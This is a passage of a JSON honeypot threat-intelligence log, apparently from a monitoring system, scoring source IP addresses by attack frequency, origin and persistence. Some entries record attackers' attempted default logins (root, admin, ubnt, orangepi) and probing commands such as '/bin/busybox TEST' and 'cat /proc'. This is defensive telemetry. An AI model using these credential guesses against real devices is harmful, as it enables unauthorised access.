      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T02:07:12.932000+00:00",
        "last_seen_30d": "2026-04-24T02:13:41.752000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "125.44.184.120": {
      "attack_count": 50,
      "first_seen": "2026-04-18T13:45:39.375Z",
      "last_seen": "2026-04-18T13:51:05.858Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T13:45:39.375000+00:00",
        "last_seen_30d": "2026-04-18T13:52:12.891000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.43.194": {
      "attack_count": 50,
      "first_seen": "2026-04-17T20:01:24.016Z",
      "last_seen": "2026-04-17T20:06:48.491Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T20:01:24.016000+00:00",
        "last_seen_30d": "2026-04-17T20:07:50.065000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.0.3": {
      "attack_count": 50,
      "first_seen": "2026-04-22T02:46:53.655Z",
      "last_seen": "2026-04-22T02:52:24.087Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T02:46:53.655000+00:00",
        "last_seen_30d": "2026-04-22T02:53:27.506000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "50.116.97.155": {
      "attack_count": 44,
      "first_seen": "2026-04-30T19:49:48.692Z",
      "last_seen": "2026-04-30T19:52:44.247Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:49:48.692000+00:00",
        "last_seen_30d": "2026-04-30T19:53:53.570000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "157.230.2.48": {
      "attack_count": 38,
      "first_seen": "2026-04-30T19:59:44.653Z",
      "last_seen": "2026-04-30T20:02:58.137Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:59:44.653000+00:00",
        "last_seen_30d": "2026-04-30T20:04:07.832000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "115.55.193.207": {
      "attack_count": 34,
      "first_seen": "2026-04-10T22:41:40.725Z",
      "last_seen": "2026-04-10T22:45:21.229Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T22:41:40.725000+00:00",
        "last_seen_30d": "2026-04-10T22:46:22.813000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "190.205.185.156": {
      "attack_count": 34,
      "first_seen": "2026-04-13T05:43:30.915Z",
      "last_seen": "2026-04-13T06:35:05.180Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "S3cR3t!",
        "qwer1234!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T05:43:30.915000+00:00",
        "last_seen_30d": "2026-04-13T06:43:38.110000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 29
      }
    },
    "104.248.78.177": {
      "attack_count": 28,
      "first_seen": "2026-04-10T12:16:27.651Z",
      "last_seen": "2026-04-10T23:55:00.938Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "#2026Kelltech",
        "1234kelltech",
        "123kelltech",
        "2025#Kelltech",
        "Kelltech$2025"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:16:27.651000+00:00",
        "last_seen_30d": "2026-04-10T23:56:04.071000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "206.168.201.228": {
      "attack_count": 28,
      "first_seen": "2026-04-03T21:30:33.283Z",
      "last_seen": "2026-04-03T21:33:34.625Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T21:30:33.283000+00:00",
        "last_seen_30d": "2026-04-03T21:34:42.911000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "1.92.151.38": {
      "attack_count": 25,
      "first_seen": "2026-04-18T15:29:10.831Z",
      "last_seen": "2026-04-18T15:29:24.971Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T15:29:10.831000+00:00",
        "last_seen_30d": "2026-04-18T15:30:32.072000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "144.16.218.188": {
      "attack_count": 24,
      "first_seen": "2026-04-15T08:32:07.832Z",
      "last_seen": "2026-04-15T08:34:21.482Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24186,
      "as_org": "RailTel Corporation of India Ltd",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T08:32:07.832000+00:00",
        "last_seen_30d": "2026-04-15T08:35:24.893000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "85.11.167.89": {
      "attack_count": 24,
      "first_seen": "2026-04-29T19:42:06.375Z",
      "last_seen": "2026-04-29T19:42:18.396Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "telecomadmin",
        "user"
      ],
      "passwords_attempted": [
        "",
        "admin",
        "admintelecom",
        "root",
        "user"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 78.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.7,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 926,
        "days_active_30d": 11,
        "ports_targeted_30d": 131,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-20T19:04:24.176000+00:00",
        "last_seen_30d": "2026-04-30T15:53:02.010000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Adbhoney": 602,
        "Suricata": 299,
        "Cowrie": 24,
        "Dionaea": 1
      }
    },
    "152.32.129.110": {
      "attack_count": 22,
      "first_seen": "2026-04-09T07:34:28.872Z",
      "last_seen": "2026-04-09T07:34:55.301Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 80.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 28,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T01:23:29+00:00",
        "last_seen_30d": "2026-04-28T02:15:24.542000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134,
        "Honeytrap": 57,
        "Cowrie": 22,
        "Dionaea": 2
      }
    },
    "37.77.49.221": {
      "attack_count": 22,
      "first_seen": "2026-04-25T15:51:58.543Z",
      "last_seen": "2026-04-25T16:04:37.229Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 51020,
      "as_org": "Al-Jazeera Al-Arabiya Company for Communication and Internet LTD",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T15:51:58.543000+00:00",
        "last_seen_30d": "2026-04-25T16:06:17.915000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 16
      }
    },
    "38.250.116.234": {
      "attack_count": 15,
      "first_seen": "2026-04-27T13:05:20.163Z",
      "last_seen": "2026-04-27T13:09:37.928Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 3132,
      "as_org": "Red Cientifica Peruana",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T13:05:20.163000+00:00",
        "last_seen_30d": "2026-04-27T13:10:42.817000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "217.71.203.110": {
      "attack_count": 14,
      "first_seen": "2026-04-30T15:42:01.681Z",
      "last_seen": "2026-04-30T15:48:12.210Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Barcelona",
      "asn": 49635,
      "as_org": "Cloudi Nextgen Sl",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:42:01.681000+00:00",
        "last_seen_30d": "2026-04-30T15:49:20.089000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "102.90.96.226": {
      "attack_count": 12,
      "first_seen": "2026-04-24T21:05:05.021Z",
      "last_seen": "2026-04-24T21:13:17.779Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Port Harcourt",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T21:05:05.021000+00:00",
        "last_seen_30d": "2026-04-24T21:14:18.934000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "144.48.8.86": {
      "attack_count": 11,
      "first_seen": "2026-04-15T06:44:30.044Z",
      "last_seen": "2026-04-15T06:47:46.074Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T06:44:30.044000+00:00",
        "last_seen_30d": "2026-04-15T06:57:48.430000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 5
      }
    },
    "41.220.144.172": {
      "attack_count": 10,
      "first_seen": "2026-04-23T07:23:24.820Z",
      "last_seen": "2026-04-23T07:31:53.617Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Algiers",
      "asn": 327931,
      "as_org": "Optimum-Telecom-Algeria",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T07:23:24.820000+00:00",
        "last_seen_30d": "2026-04-23T07:33:01.274000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10
      }
    },
    "64.62.156.94": {
      "attack_count": 9,
      "first_seen": "2026-04-12T12:05:09.222Z",
      "last_seen": "2026-04-12T12:05:09.427Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 30,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T07:32:30+00:00",
        "last_seen_30d": "2026-04-30T15:14:24.934000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 176,
        "Honeytrap": 88,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Mailoney": 6,
        "ConPot": 4,
        "Dionaea": 1,
        "Miniprint": 1
      }
    },
    "47.87.70.243": {
      "attack_count": 8,
      "first_seen": "2026-04-11T22:42:30.399Z",
      "last_seen": "2026-04-24T07:34:25.734Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.7,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T05:53:46.348000+00:00",
        "last_seen_30d": "2026-04-30T22:28:03.499000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Cowrie": 8,
        "Honeytrap": 8
      }
    },
    "148.113.221.114": {
      "attack_count": 6,
      "first_seen": "2026-04-27T00:56:41.346Z",
      "last_seen": "2026-04-27T00:56:48.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T00:56:41.346000+00:00",
        "last_seen_30d": "2026-04-27T00:57:58.075000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.192": {
      "attack_count": 6,
      "first_seen": "2026-04-06T21:12:41.457Z",
      "last_seen": "2026-04-06T21:13:18.829Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T22:47:27+00:00",
        "last_seen_30d": "2026-04-30T09:32:50.647000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "Honeytrap": 48,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "CitrixHoneypot": 3,
        "ConPot": 1
      }
    },
    "45.38.41.112": {
      "attack_count": 5,
      "first_seen": "2026-04-10T08:37:36.746Z",
      "last_seen": "2026-04-10T08:37:40.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ubnt"
      ],
      "passwords_attempted": [
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T08:37:36.746000+00:00",
        "last_seen_30d": "2026-04-10T08:38:46.773000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "65.49.1.132": {
      "attack_count": 5,
      "first_seen": "2026-04-03T12:15:54.855Z",
      "last_seen": "2026-04-24T08:56:00.377Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 30,
        "ports_targeted_30d": 92,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T01:27:30+00:00",
        "last_seen_30d": "2026-04-30T13:11:04.455000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 198,
        "Honeytrap": 100,
        "H0neytr4p": 7,
        "Mailoney": 6,
        "Cowrie": 5,
        "Adbhoney": 2,
        "ConPot": 2,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1
      }
    },
    "187.181.177.252": {
      "attack_count": 4,
      "first_seen": "2026-04-28T02:49:53.438Z",
      "last_seen": "2026-04-28T02:53:54.589Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
